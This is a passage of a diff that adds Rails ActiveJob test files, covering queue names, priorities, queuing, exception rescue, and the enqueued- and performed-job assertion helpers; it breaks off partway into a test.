+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as :greetings
+      assert_equal "greetings", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test "allows a blank queue name" do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as ""
+      assert_equal "", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test "does not use a nil queue name" do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as nil
+      assert_equal "default", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test "evals block given to queue_as to determine queue" do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as { :another }
+      assert_equal "another", HelloJob.new.queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test "can use arguments to determine queue_name in queue_as block" do
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      HelloJob.queue_as { arguments.first == "1" ? :one : :two }
+      assert_equal "one", HelloJob.new("1").queue_name
+      assert_equal "two", HelloJob.new("3").queue_name
+    ensure
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test "queue_name_prefix prepended to the queue name with default delimiter" do
+    original_queue_name_prefix = ActiveJob::Base.queue_name_prefix
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      ActiveJob::Base.queue_name_prefix = "aj"
+      HelloJob.queue_as :low
+      assert_equal "aj_low", HelloJob.queue_name
+    ensure
+      ActiveJob::Base.queue_name_prefix = original_queue_name_prefix
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test "queue_name_prefix prepended to the queue name with custom delimiter" do
+    original_queue_name_prefix = ActiveJob::Base.queue_name_prefix
+    original_queue_name_delimiter = ActiveJob::Base.queue_name_delimiter
+    original_queue_name = HelloJob.queue_name
+
+    begin
+      ActiveJob::Base.queue_name_delimiter = "."
+      ActiveJob::Base.queue_name_prefix = "aj"
+      HelloJob.queue_as :low
+      assert_equal "aj.low", HelloJob.queue_name
+    ensure
+      ActiveJob::Base.queue_name_prefix = original_queue_name_prefix
+      ActiveJob::Base.queue_name_delimiter = original_queue_name_delimiter
+      HelloJob.queue_name = original_queue_name
+    end
+  end
+
+  test "uses queue passed to #set" do
+    job = HelloJob.set(queue: :some_queue).perform_later
+    assert_equal "some_queue", job.queue_name
+  end
+end
diff --git a/activejob/test/cases/queue_priority_test.rb b/activejob/test/cases/queue_priority_test.rb
new file mode 100644
index 0000000000..4b3006ae81
--- /dev/null
+++ b/activejob/test/cases/queue_priority_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/hello_job"
+
+class QueuePriorityTest < ActiveSupport::TestCase
+  test "priority unset by default" do
+    assert_nil HelloJob.priority
+  end
+
+  test "uses given priority" do
+    original_priority = HelloJob.priority
+
+    begin
+      HelloJob.queue_with_priority 90
+      assert_equal 90, HelloJob.new.priority
+    ensure
+      HelloJob.priority = original_priority
+    end
+  end
+
+  test "evals block given to priority to determine priority" do
+    original_priority = HelloJob.priority
+
+    begin
+      HelloJob.queue_with_priority { 25 }
+      assert_equal 25, HelloJob.new.priority
+    ensure
+      HelloJob.priority = original_priority
+    end
+  end
+
+  test "can use arguments to determine priority in priority block" do
+    original_priority = HelloJob.priority
+
+    begin
+      HelloJob.queue_with_priority { arguments.first == "1" ? 99 : 11 }
+      assert_equal 99, HelloJob.new("1").priority
+      assert_equal 11, HelloJob.new("3").priority
+    ensure
+      HelloJob.priority = original_priority
+    end
+  end
+
+  test "uses priority passed to #set" do
+    job = HelloJob.set(priority: 123).perform_later
+    assert_equal 123, job.priority
+  end
+end
diff --git a/activejob/test/cases/queuing_test.rb b/activejob/test/cases/queuing_test.rb
new file mode 100644
index 0000000000..0e843b7215
--- /dev/null
+++ b/activejob/test/cases/queuing_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/hello_job"
+require "active_support/core_ext/numeric/time"
+
+class QueuingTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+  end
+
+  test "run queued job" do
+    HelloJob.perform_later
+    assert_equal "David says hello", JobBuffer.last_value
+  end
+
+  test "run queued job with arguments" do
+    HelloJob.perform_later "Jamie"
+    assert_equal "Jamie says hello", JobBuffer.last_value
+  end
+
+  test "run queued job later" do
+    begin
+      result = HelloJob.set(wait_until: 1.second.ago).perform_later "Jamie"
+      assert result
+    rescue NotImplementedError
+      skip
+    end
+  end
+
+  test "job returned by enqueue has the arguments available" do
+    job = HelloJob.perform_later "Jamie"
+    assert_equal [ "Jamie" ], job.arguments
+  end
+
+  test "job returned by perform_at has the timestamp available" do
+    begin
+      job = HelloJob.set(wait_until: Time.utc(2014, 1, 1)).perform_later
+      assert_equal Time.utc(2014, 1, 1).to_f, job.scheduled_at
+    rescue NotImplementedError
+      skip
+    end
+  end
+end
diff --git a/activejob/test/cases/rescue_test.rb b/activejob/test/cases/rescue_test.rb
new file mode 100644
index 0000000000..da9c87dbf0
--- /dev/null
+++ b/activejob/test/cases/rescue_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/rescue_job"
+require "models/person"
+
+class RescueTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+  end
+
+  test "rescue perform exception with retry" do
+    job = RescueJob.new("david")
+    job.perform_now
+    assert_equal [ "rescued from ArgumentError", "performed beautifully" ], JobBuffer.values
+  end
+
+  test "let through unhandled perform exception" do
+    job = RescueJob.new("other")
+    assert_raises(RescueJob::OtherError) do
+      job.perform_now
+    end
+  end
+
+  test "rescue from deserialization errors" do
+    RescueJob.perform_later Person.new(404)
+    assert_includes JobBuffer.values, "rescued from DeserializationError"
+    assert_includes JobBuffer.values, "DeserializationError original exception was Person::RecordNotFound"
+    assert_not_includes JobBuffer.values, "performed beautifully"
+  end
+
+  test "should not wrap DeserializationError in DeserializationError" do
+    RescueJob.perform_later [Person.new(404)]
+    assert_includes JobBuffer.values, "DeserializationError original exception was Person::RecordNotFound"
+  end
+end
diff --git a/activejob/test/cases/test_case_test.rb b/activejob/test/cases/test_case_test.rb
new file mode 100644
index 0000000000..4ae2add3a8
--- /dev/null
+++ b/activejob/test/cases/test_case_test.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/hello_job"
+require "jobs/logging_job"
+require "jobs/nested_job"
+
+class ActiveJobTestCaseTest < ActiveJob::TestCase
+  # this tests that this job class doesn't get its adapter set.
+  # that's the correct behavior since we don't want to break
+  # the `class_attribute` inheritance
+  class TestClassAttributeInheritanceJob < ActiveJob::Base
+    def self.queue_adapter=(*)
+      raise "Attempting to break `class_attribute` inheritance, bad!"
+    end
+  end
+
+  def test_include_helper
+    assert_includes self.class.ancestors, ActiveJob::TestHelper
+  end
+
+  def test_set_test_adapter
+    assert_kind_of ActiveJob::QueueAdapters::TestAdapter, queue_adapter
+  end
+end
diff --git a/activejob/test/cases/test_helper_test.rb b/activejob/test/cases/test_helper_test.rb
new file mode 100644
index 0000000000..66bcd8f3a0
--- /dev/null
+++ b/activejob/test/cases/test_helper_test.rb
@@ -0,0 +1,929 @@
+# frozen_string_literal: true
+
+require "helper"
+require "active_support/core_ext/time"
+require "active_support/core_ext/date"
+require "jobs/hello_job"
+require "jobs/logging_job"
+require "jobs/nested_job"
+require "jobs/rescue_job"
+require "jobs/inherited_job"
+require "models/person"
+
+class EnqueuedJobsTest < ActiveJob::TestCase
+  def test_assert_enqueued_jobs
+    assert_nothing_raised do
+      assert_enqueued_jobs 1 do
+        HelloJob.perform_later("david")
+      end
+    end
+  end
+
+  def test_repeated_enqueued_jobs_calls
+    assert_nothing_raised do
+      assert_enqueued_jobs 1 do
+        HelloJob.perform_later("abdelkader")
+      end
+    end
+
+    assert_nothing_raised do
+      assert_enqueued_jobs 2 do
+        HelloJob.perform_later("sean")
+        HelloJob.perform_later("yves")
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_message
+    HelloJob.perform_later("sean")
+    e = assert_raises Minitest::Assertion do
+      assert_enqueued_jobs 2 do
+        HelloJob.perform_later("sean")
+      end
+    end
+    assert_match "Expected: 2", e.message
+    assert_match "Actual: 1", e.message
+  end
+
+  def test_assert_enqueued_jobs_with_no_block
+    assert_nothing_raised do
+      HelloJob.perform_later("rafael")
+      assert_enqueued_jobs 1
+    end
+
+    assert_nothing_raised do
+      HelloJob.perform_later("aaron")
+      HelloJob.perform_later("matthew")
+      assert_enqueued_jobs 3
+    end
+  end
+
+  def test_assert_no_enqueued_jobs_with_no_block
+    assert_nothing_raised do
+      assert_no_enqueued_jobs
+    end
+  end
+
+  def test_assert_no_enqueued_jobs
+    assert_nothing_raised do
+      assert_no_enqueued_jobs do
+        HelloJob.perform_now
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 2 do
+        HelloJob.perform_later("xavier")
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1 do
+        HelloJob.perform_later("cristian")
+        HelloJob.perform_later("guillermo")
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_enqueued_jobs do
+        HelloJob.perform_later("jeremy")
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_option
+    assert_nothing_raised do
+      assert_enqueued_jobs 1, only: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_except_option
+    assert_nothing_raised do
+      assert_enqueued_jobs 1, except: LoggingJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_only_and_except_option
+    error = assert_raise ArgumentError do
+      assert_enqueued_jobs 1, only: HelloJob, except: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_and_queue_option
+    assert_nothing_raised do
+      assert_enqueued_jobs 1, only: HelloJob, queue: :some_queue do
+        HelloJob.set(queue: :some_queue).perform_later
+        HelloJob.set(queue: :other_queue).perform_later
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_except_and_queue_option
+    assert_nothing_raised do
+      assert_enqueued_jobs 1, except: LoggingJob, queue: :some_queue do
+        HelloJob.set(queue: :some_queue).perform_later
+        HelloJob.set(queue: :other_queue).perform_later
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_only_and_except_and_queue_option
+    error = assert_raise ArgumentError do
+      assert_enqueued_jobs 1, only: HelloJob, except: HelloJob, queue: :some_queue do
+        HelloJob.set(queue: :some_queue).perform_later
+        HelloJob.set(queue: :other_queue).perform_later
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_queue_option
+    assert_nothing_raised do
+      assert_enqueued_jobs 2, queue: :default do
+        HelloJob.perform_later
+        LoggingJob.perform_later
+        HelloJob.set(queue: :other_queue).perform_later
+        LoggingJob.set(queue: :other_queue).perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_only_option_and_none_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1, only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/1 .* but 0/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_except_option_and_none_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1, except: LoggingJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/1 .* but 0/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_and_except_option_and_none_sent
+    error = assert_raise ArgumentError do
+      assert_enqueued_jobs 1, only: HelloJob, except: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_option_and_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 5, only: HelloJob do
+        HelloJob.perform_later("jeremy")
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/5 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_except_option_and_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 5, except: LoggingJob do
+        HelloJob.perform_later("jeremy")
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/5 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_and_except_option_and_too_few_sent
+    error = assert_raise ArgumentError do
+      assert_enqueued_jobs 5, only: HelloJob, except: HelloJob do
+        HelloJob.perform_later("jeremy")
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_option_and_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1, only: HelloJob do
+        2.times { HelloJob.perform_later("jeremy") }
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_except_option_and_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_jobs 1, except: LoggingJob do
+        2.times { HelloJob.perform_later("jeremy") }
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_and_except_option_and_too_many_sent
+    error = assert_raise ArgumentError do
+      assert_enqueued_jobs 1, only: HelloJob, except: HelloJob do
+        2.times { HelloJob.perform_later("jeremy") }
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_enqueued_jobs_with_only_option_as_array
+    assert_nothing_raised do
+      assert_enqueued_jobs 2, only: [HelloJob, LoggingJob] do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later("stewie")
+        RescueJob.perform_later("david")
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_except_option_as_array
+    assert_nothing_raised do
+      assert_enqueued_jobs 1, except: [HelloJob, LoggingJob] do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later("stewie")
+        RescueJob.perform_later("david")
+      end
+    end
+  end
+
+  def test_assert_enqueued_jobs_with_only_and_except_option_as_array
+    error = assert_raise ArgumentError do
+      assert_enqueued_jobs 2, only: [HelloJob, LoggingJob], except: [HelloJob, LoggingJob] do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later("stewie")
+        RescueJob.perform_later("david")
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_option
+    assert_nothing_raised do
+      assert_no_enqueued_jobs only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_jobs_with_except_option
+    assert_nothing_raised do
+      assert_no_enqueued_jobs except: LoggingJob do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_and_except_option
+    error = assert_raise ArgumentError do
+      assert_no_enqueued_jobs only: HelloJob, except: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_option_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_enqueued_jobs only: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_with_except_option_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_enqueued_jobs except: LoggingJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_and_except_option_failure
+    error = assert_raise ArgumentError do
+      assert_no_enqueued_jobs only: HelloJob, except: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_option_as_array
+    assert_nothing_raised do
+      assert_no_enqueued_jobs only: [HelloJob, RescueJob] do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_jobs_with_except_option_as_array
+    assert_nothing_raised do
+      assert_no_enqueued_jobs except: [HelloJob, RescueJob] do
+        HelloJob.perform_later
+        RescueJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_jobs_with_only_and_except_option_as_array
+    error = assert_raise ArgumentError do
+      assert_no_enqueued_jobs only: [HelloJob, RescueJob], except: [HelloJob, RescueJob] do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_enqueued_job
+    assert_enqueued_with(job: LoggingJob, queue: "default") do
+      LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later
+    end
+  end
+
+  def test_assert_enqueued_job_returns
+    job = assert_enqueued_with(job: LoggingJob) do
+      LoggingJob.set(wait_until: 5.minutes.from_now).perform_later(1, 2, 3)
+    end
+
+    assert_instance_of LoggingJob, job
+    assert_in_delta 5.minutes.from_now, job.scheduled_at, 1
+    assert_equal "default", job.queue_name
+    assert_equal [1, 2, 3], job.arguments
+  end
+
+  def test_assert_enqueued_job_failure
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_with(job: LoggingJob, queue: "default") do
+        NestedJob.perform_later
+      end
+    end
+
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_with(job: NestedJob, queue: "low") do
+        NestedJob.perform_later
+      end
+    end
+
+    assert_equal 'No enqueued job found with {:job=>NestedJob, :queue=>"low"}', error.message
+  end
+
+  def test_assert_enqueued_job_args
+    assert_raise ArgumentError do
+      assert_enqueued_with(class: LoggingJob) do
+        NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
+      end
+    end
+  end
+
+  def test_assert_enqueued_job_with_at_option
+    assert_enqueued_with(job: HelloJob, at: Date.tomorrow.noon) do
+      HelloJob.set(wait_until: Date.tomorrow.noon).perform_later
+    end
+  end
+
+  def test_assert_enqueued_job_with_global_id_args
+    ricardo = Person.new(9)
+    assert_enqueued_with(job: HelloJob, args: [ricardo]) do
+      HelloJob.perform_later(ricardo)
+    end
+  end
+
+  def test_assert_enqueued_job_failure_with_global_id_args
+    ricardo = Person.new(9)
+    wilma = Person.new(11)
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_with(job: HelloJob, args: [wilma]) do
+        HelloJob.perform_later(ricardo)
+      end
+    end
+
+    assert_equal "No enqueued job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message
+  end
+
+  def test_assert_enqueued_job_does_not_change_jobs_count
+    HelloJob.perform_later
+    assert_enqueued_with(job: HelloJob) do
+      HelloJob.perform_later
+    end
+
+    assert_equal 2, queue_adapter.enqueued_jobs.count
+  end
+end
+
+class PerformedJobsTest < ActiveJob::TestCase
+  def test_performed_enqueue_jobs_with_only_option_doesnt_leak_outside_the_block
+    assert_nil queue_adapter.filter
+    perform_enqueued_jobs only: HelloJob do
+      assert_equal HelloJob, queue_adapter.filter
+    end
+    assert_nil queue_adapter.filter
+  end
+
+  def test_performed_enqueue_jobs_with_except_option_doesnt_leak_outside_the_block
+    assert_nil queue_adapter.reject
+    perform_enqueued_jobs except: HelloJob do
+      assert_equal HelloJob, queue_adapter.reject
+    end
+    assert_nil queue_adapter.reject
+  end
+
+  def test_assert_performed_jobs
+    assert_nothing_raised do
+      assert_performed_jobs 1 do
+        HelloJob.perform_later("david")
+      end
+    end
+  end
+
+  def test_repeated_performed_jobs_calls
+    assert_nothing_raised do
+      assert_performed_jobs 1 do
+        HelloJob.perform_later("abdelkader")
+      end
+    end
+
+    assert_nothing_raised do
+      assert_performed_jobs 2 do
+        HelloJob.perform_later("sean")
+        HelloJob.perform_later("yves")
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_message
+    HelloJob.perform_later("sean")
+    e = assert_raises Minitest::Assertion do
+      assert_performed_jobs 2 do
+        HelloJob.perform_later("sean")
+      end
+    end
+    assert_match "Expected: 2", e.message
+    assert_match "Actual: 1", e.message
+  end
+
+  def test_assert_performed_jobs_with_no_block
+    assert_nothing_raised do
+      perform_enqueued_jobs do
+        HelloJob.perform_later("rafael")
+      end
+      assert_performed_jobs 1
+    end
+
+    assert_nothing_raised do
+      perform_enqueued_jobs do
+        HelloJob.perform_later("aaron")
+        HelloJob.perform_later("matthew")
+        assert_performed_jobs 3
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_no_block
+    assert_nothing_raised do
+      assert_no_performed_jobs
+    end
+  end
+
+  def test_assert_no_performed_jobs
+    assert_nothing_raised do
+      assert_no_performed_jobs do
+        # empty block won't perform jobs
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 2 do
+        HelloJob.perform_later("xavier")
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_jobs_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1 do
+        HelloJob.perform_later("cristian")
+        HelloJob.perform_later("guillermo")
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_performed_jobs do
+        HelloJob.perform_later("jeremy")
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option
+    assert_nothing_raised do
+      assert_performed_jobs 1, only: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_with_except_option
+    assert_nothing_raised do
+      assert_performed_jobs 1, except: LoggingJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_with_only_and_except_option
+    error = assert_raise ArgumentError do
+      assert_performed_jobs 1, only: HelloJob, except: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option_as_array
+    assert_nothing_raised do
+      assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later("stewie")
+        RescueJob.perform_later("david")
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_with_except_option_as_array
+    assert_nothing_raised do
+      assert_performed_jobs 1, except: [LoggingJob, RescueJob] do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later("stewie")
+        RescueJob.perform_later("david")
+      end
+    end
+  end
+
+  def test_assert_performed_jobs_with_only_and_except_option_as_array
+    error = assert_raise ArgumentError do
+      assert_performed_jobs 2, only: [HelloJob, LoggingJob], except: [HelloJob, LoggingJob] do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later("stewie")
+        RescueJob.perform_later("david")
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option_and_none_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1, only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/1 .* but 0/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_except_option_and_none_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1, except: LoggingJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/1 .* but 0/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_and_except_option_and_none_sent
+    error = assert_raise ArgumentError do
+      assert_performed_jobs 1, only: HelloJob, except: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option_and_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 5, only: HelloJob do
+        HelloJob.perform_later("jeremy")
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/5 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_except_option_and_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 5, except: LoggingJob do
+        HelloJob.perform_later("jeremy")
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/5 .* but 1/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_and_except_option_and_too_few_sent
+    error = assert_raise ArgumentError do
+      assert_performed_jobs 5, only: HelloJob, except: HelloJob do
+        HelloJob.perform_later("jeremy")
+        4.times { LoggingJob.perform_later }
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_option_and_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1, only: HelloJob do
+        2.times { HelloJob.perform_later("jeremy") }
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_except_option_and_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_jobs 1, except: LoggingJob do
+        2.times { HelloJob.perform_later("jeremy") }
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_performed_jobs_with_only_and_except_option_and_too_many_sent
+    error = assert_raise ArgumentError do
+      assert_performed_jobs 1, only: HelloJob, except: HelloJob do
+        2.times { HelloJob.perform_later("jeremy") }
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_with_only_option
+    assert_nothing_raised do
+      assert_no_performed_jobs only: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_except_option
+    assert_nothing_raised do
+      assert_no_performed_jobs except: LoggingJob do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_only_and_except_option
+    error = assert_raise ArgumentError do
+      assert_no_performed_jobs only: HelloJob, except: HelloJob do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_with_only_option_as_array
+    assert_nothing_raised do
+      assert_no_performed_jobs only: [HelloJob, RescueJob] do
+        LoggingJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_except_option_as_array
+    assert_nothing_raised do
+      assert_no_performed_jobs except: [HelloJob, RescueJob] do
+        HelloJob.perform_later
+        RescueJob.perform_later
+      end
+    end
+  end
+
+  def test_assert_no_performed_jobs_with_only_and_except_option_as_array
+    error = assert_raise ArgumentError do
+      assert_no_performed_jobs only: [HelloJob, RescueJob], except: [HelloJob, RescueJob] do
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_with_only_option_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_performed_jobs only: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_with_except_option_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_performed_jobs except: LoggingJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_no_performed_jobs_with_only_and_except_option_failure
+    error = assert_raise ArgumentError do
+      assert_no_performed_jobs only: HelloJob, except: HelloJob do
+        HelloJob.perform_later("jeremy")
+        LoggingJob.perform_later
+      end
+    end
+
+    assert_match(/`:only` and `:except`/, error.message)
+  end
+
+  def test_assert_performed_job
+    assert_performed_with(job: NestedJob, queue: "default") do
+      NestedJob.perform_later
+    end
+  end
+
+  def test_assert_performed_job_returns
+    job = assert_performed_with(job: NestedJob, queue: "default") do
+      NestedJob.perform_later
+    end
+
+    assert_instance_of NestedJob, job
+    assert_nil job.scheduled_at
+    assert_equal [], job.arguments
+    assert_equal "default", job.queue_name
+  end
+
+  def test_assert_performed_job_failure
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_with(job: LoggingJob) do
+        HelloJob.perform_later
+      end
+    end
+
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_performed_with(job: HelloJob, queue: "low") do
+        HelloJob.set(queue: "important").perform_later
+      end
+    end
+  end
+
+  def test_assert_performed_job_with_at_option
